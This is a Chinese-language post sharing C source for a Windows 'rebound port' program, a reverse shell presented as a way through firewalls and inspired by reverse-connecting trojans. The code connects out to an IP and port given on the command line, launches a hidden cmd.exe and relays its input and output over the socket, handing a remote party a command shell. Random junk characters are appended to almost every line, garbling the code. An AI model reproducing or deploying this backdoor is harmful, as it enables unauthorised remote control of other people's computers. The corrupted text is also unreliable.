这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \
#F
ic:zsuEm
/* ============================== "x0^#AVg
Rebound port in Windows NT E_rI?t^
By wind,2006/7 [jQp~&nY
===============================*/ .^`{1%
#include u,ho7ht3(
#include "Fr.fhh'~
~ah~cwmpS
#pragma comment(lib,"wsock32.lib") B`)BZ,#p
>58YjLXb
void OutputShell(); [>I<#_^~
SOCKET sClient; +fB5w?Rg
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LH.]DVj
uh0VFL*@
void main(int argc,char **argv) ;?Tbnn Wn
{ LVM%"sd?
WSADATA stWsaData; %6 zBSje
int nRet; ~7w"nIs<c
SOCKADDR_IN stSaiClient,stSaiServer; ,_ H:J.ik
mthA4sz
if(argc != 3) n&4N[Qlv,
{ C}j"Qi`
printf("Useage:\n\rRebound DestIP DestPort\n"); N{!i=A
return; 5{WE~8$
} #lo6c;*m5
KfEx"94
WSAStartup(MAKEWORD(2,2),&stWsaData); Y1\ }5k{>
NG=-NxEcN
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :`#d:.@]o@
QO:!p5^:
stSaiClient.sin_family = AF_INET; /{J4:N'B>
stSaiClient.sin_port = htons(0); d'gfQlDny
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rgQOj^xKv^
,2oWWsC7
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C3f' {}
{ ! I:%0D
printf("Bind Socket Failed!\n"); df +l%9@
return; )r?}P1J7
} KZY}%il!`
_yx>TE2e
stSaiServer.sin_family = AF_INET; VT)oLj/A
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \.{$11P#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _Ay9p[l
|3b^~?S
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r|8d
4
{ cl3K<'D
printf("Connect Error!"); a.\:T,cP>
return; 3ZPWze6
} jRlYU`?
OutputShell(); 7aRi5
} p`dU2gV
?p{Nwl#
void OutputShell() y14;%aQN
{ 6Pnjmw.HV
char szBuff[1024]; 1-uxC^u?|#
SECURITY_ATTRIBUTES stSecurityAttributes; m9WDT
OSVERSIONINFO stOsversionInfo; &ywPuTt
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~Ffo-Nd-
STARTUPINFO stStartupInfo; :RTC!spy
char *szShell; 4Z=_,#h4.
PROCESS_INFORMATION stProcessInformation; tS5hv@9cWx
unsigned long lBytesRead; #Vt%@*
i
Jt<_zn_FG
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NNR`!Pty
qr^3R&z!}
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xt*
3'v
stSecurityAttributes.lpSecurityDescriptor = 0; P1 8hxXE3
stSecurityAttributes.bInheritHandle = TRUE; -0 a/$h
f}ji?p
\)904W5R
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6'5 7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A`$%SVgFV^
^mDe08.
%b
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VcYrK4
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ek\ xx
stStartupInfo.wShowWindow = SW_HIDE; 4[r0G+
stStartupInfo.hStdInput = hReadPipe; y2dCEmhY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D/xbF`
2WL|wwA
GetVersionEx(&stOsversionInfo); ZF8 yw(z
3S@7]Pg
switch(stOsversionInfo.dwPlatformId)
(N6i4
g6
{ V7Lxfoa4
case 1: 7kLz[N6Ll
szShell = "command.com"; CyFrb`%
break; Qj.#)R
default: %nZo4hnr$r
szShell = "cmd.exe"; 6I4\q.^qw
break; ]@c+]{
} A RuA<vQ
Y_IF;V\
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); YUD`!C
jXx<`I+]
send(sClient,szMsg,77,0); Yui3+}Ms
while(1) rQs)O<jl
{ 8 +/rlHp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (0r3/t?DQ
if(lBytesRead) L.2^`mZs
{ ZohCP
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _ QI\
send(sClient,szBuff,lBytesRead,0); z+wA
rPxc
} G@\1E+Ip
else &j`} vg
{ ".V$~n(
lBytesRead=recv(sClient,szBuff,1024,0); '~<m~UXvD#
if(lBytesRead<=0) break; K`WywH3-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Wx}8T[A}
} %#:{UR)E
} yCR?UH;
WIT>!|w_
return; @Zu5Vp J
}